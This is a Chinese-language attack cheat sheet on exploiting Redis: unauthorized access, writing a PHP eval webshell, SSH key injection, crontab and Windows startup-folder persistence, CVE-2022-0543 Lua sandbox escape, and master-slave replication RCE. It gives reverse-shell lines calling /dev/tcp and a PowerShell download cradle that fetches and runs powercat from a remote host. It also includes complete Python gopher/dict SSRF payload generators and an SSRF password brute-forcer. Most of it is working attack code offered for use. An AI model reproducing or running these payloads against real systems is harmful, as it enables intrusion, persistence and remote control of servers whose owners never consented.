0x01 Redis

Redis 是一个基于内存存储的高性能key-value数据库,完全开源免费。

本文主要分享内网测试环境中redis的利用姿势。

环境

安装

参考Redis 安装

端口

6379

配置

bind配置监听网卡ip。

启动

1
2
redis-server [config file]
redis-cli -h 127.0.0.1 -p 6379

0x02 通过redis未授权写文件

其实就是通过修改 redis 的 dbfilenamedir 配置项。

1. 写WebShell

条件

  • 目标存在web目录
  • 知道web绝对路径
  • 存在对应目录写入权限

利用

redis-cli未授权访问

1
redis-cli -p 6379 -h x.x.x.x

查看配置

1
CONFIG GET * 

设置数据文件的存储目录为web目录

1
CONFIG SET dir "/var/html/www"

设置文件名

1
CONFIG SET dbfilename ".config.php"

写web shell

1
set x "\r\n\r\n<?php eval($_POST['ant']); ?>\r\n\r\n"

保存

1
save

2. 写 ssh key

前置条件多,不好利用。

目标开启了ssh密钥登录,存在/etc/.ssh文件,redis要有root权限

ssh第一次连接时要加上 -o StrictHostKeyChecking=no

具体原理是把我们的公钥写在对方的 .ssh/authorized_keys 文件里再去用 ssh 连接。

先使用ssh-keygen -t rsa生产公钥

需要flushall,不然会写入失败,==真实业务环境中不能使用flushall==。

1
2
3
4
5
flushall
set 1 'id_rsa.pub 里的内容'
config set dir '/root/.ssh/'
config set dbfilename authorized_keys
save

ssh -i /home.kali/.ssh/id_rsa root@192.168.230.138

连接


3. 写crontabs

常见crontabs

1
2
3
4
/var/spool/cron/username
/var/spool/cron/crontabs/username
/etc/crontab
/etc/cron.d/xxx

条件

  • 目标是linux(不适合ubuntu)
  • root运行的redis

利用

redis-cli未授权访问

1
redis-cli -p 6379 -h x.x.x.x

设置数据文件的存储目录为crontabs的目录

1
config set dir "/var/spool/cron/crontabs"

设置文件名

1
config set dbfilename "root"

写crontabs,以反弹shell为例:

1
echo -e "\n\n\n* * * * * bash -i >& /dev/tcp/x.x.x.x/2333 0>&1\n\n\n"|redis-cli -x set %

写马

1
echo -e "\n\n* * * * * wget http://*.*.*.*/shell.txt -O /path_to_www/.congfig.php\n\n"|redis-cli -h x.x.x.x -p 6379 -x set %

保存

1
save

由于redis向任务计划文件里写内容会出现乱码,从而导致语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,ubuntu、debian 则不行


4. Windows写自启动目录

条件

  • 目标是windows系统
  • 存在Administrator用户

利用

redis-cli未授权访问

1
redis-cli -p 6379 -h x.x.x.x

设置数据文件的存储目录为Administrator的开机启动目录

1
config set dir "C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"

设置文件名

1
config set dbfilename "shell.bat"

写批处理脚本

1
set x "\r\n\r\n powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/powercat.ps1'));powercat -c x.x.x.x -p 2333 -e cmd\"\r\n\r\n"

保存

1
save

0x03 反序列化的利用

漏洞环境:https://github.com/iSafeBlue/redis-rce

1. fastjson反序列化

关注 json 对象是不是数组,第一个元素看起来像不像类名,例如

1
["com.blue.bean.User",xxx]

2. jackson反序列化

关注有没有 @type 字段

3. jdk反序列化

首先看 value 是不是 base64,如果是解码后看里面有没有 java 类名


0x04 主从复制RCE

全量复制

执行BGSAVE命令生成RDB文件

从服务器载入快照

增量复制

主服务器每执行一个写命令就会向从服务器发送相同的写命令,从服务器执行。

条件

  • redis version 4.x-5.0.5
  • 存在未授权

利用

1
2
git clone https://github.com/Ridter/redis-rce.git
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git

make编译so文件复制到redis-rce目录下

1
python redis-rce.py -r target-ip -L local-ip -f module.so

然后反弹shell。


0x05 Lua 沙盒逃逸RCE

CVE-2022-0543

仅针对 Debian 及其衍生的 Linux 发行版,上游的 Redis 不受影响。发现者称其为Debian的漏洞。

条件

  • 目标是基于Debian的Redis实例而非原生版本

利用

1
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

1
eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so", "luaopen_os"); local os = os_l(); os.execute("touch /tmp/redis_poc"); return 0'

An unexpected Redis sandbox escape affecting only Debian, Ubuntu, and other derivatives


0x06 SSRF+redis

如利用gopher协议进行ssrf需要符合RESP协议

1. 定时反弹shell

目标是linux(不适合ubuntu),redis有root权限或写权限

dict

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib2,urllib,binascii
url = "http://192.168.0.109/ssrf/base/curl_exec.php?url=" # 存在 ssrf 的 url
target = "dict://192.168.0.119:6379/" # redis 服务器地址
cmds = ['set:mars:\\\\"\\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\\n\\\\"', # shell接收地址与端口号
"config:set:dir:/etc/",
"config:set:dbfilename:crontab",
"bgsave"]

for cmd in cmds:
cmd_encoder = ""
for single_char in cmd:
# 先转为ASCII
cmd_encoder += hex(ord(single_char)).replace("0x","")
cmd_encoder = binascii.a2b_hex(cmd_encoder)
cmd_encoder = urllib.quote(cmd_encoder,'utf-8')

payload = url + target + cmd_encoder
print payload
request = urllib2.Request(payload)
response = urllib2.urlopen(request).read()

gopher

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import urllib
protocol="gopher://"
ip="192.168.230.138"
port="6379"
reverse_ip="192.168.163.132"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"

passwd=""
cmd=["set 1 {}".format(cron.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
print urllib.quote("二次url编码后的结果:\n" + payload)


2. getshell

存在并知道网站目录,redis有root权限或网站目录写权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://" # 使用的协议
ip="192.168.230.138"
port="6379" # 目标redis的端口号
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php" # shell的名字
path="/var" # 写入的路径
passwd="" # 如果有密码 则填入
# 我们的恶意命令
cmd=["set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
print urllib.quote("二次url编码后的结果:\n" + payload)

3. 写ssh公钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import urllib
protocol="gopher://"
ip="192.168.230.138"
port="6379"
sshpublic_key = "\n\nid_rsa.pub 里的内容\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
print urllib.quote("二次url编码后的结果:\n" + payload)

相关工具


0x07 REDIS爆破

公网爆破

使用msf的auxiliary/scanner/redis/redis_login模块

内网爆破

结合ssrf爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

target = "http://x.x.x.x:6666/index.php?url=" # 请输入目标url
rhost = "127.0.0.1"
rport = "6379"

with open("passwords.txt","r+") as file:
passwds = file.readlines()
for passwd in passwds:
passwd = passwd.strip("\n")
len_pass = len(passwd)
payload = r"gopher://" + rhost + ":" + rport + "/_%252A2%250d%250a%25244%250d%250aAUTH%250d%250a%2524"+str(len_pass)+r"%250d%250a"+passwd+r"%250D%250A%252A1%250D%250A"
url = target+str(payload)
text = requests.get(url).text
if "OK" in text:
print("[+] 爆破成功 密码为: " + passwd)
print(text + payload)
break

参考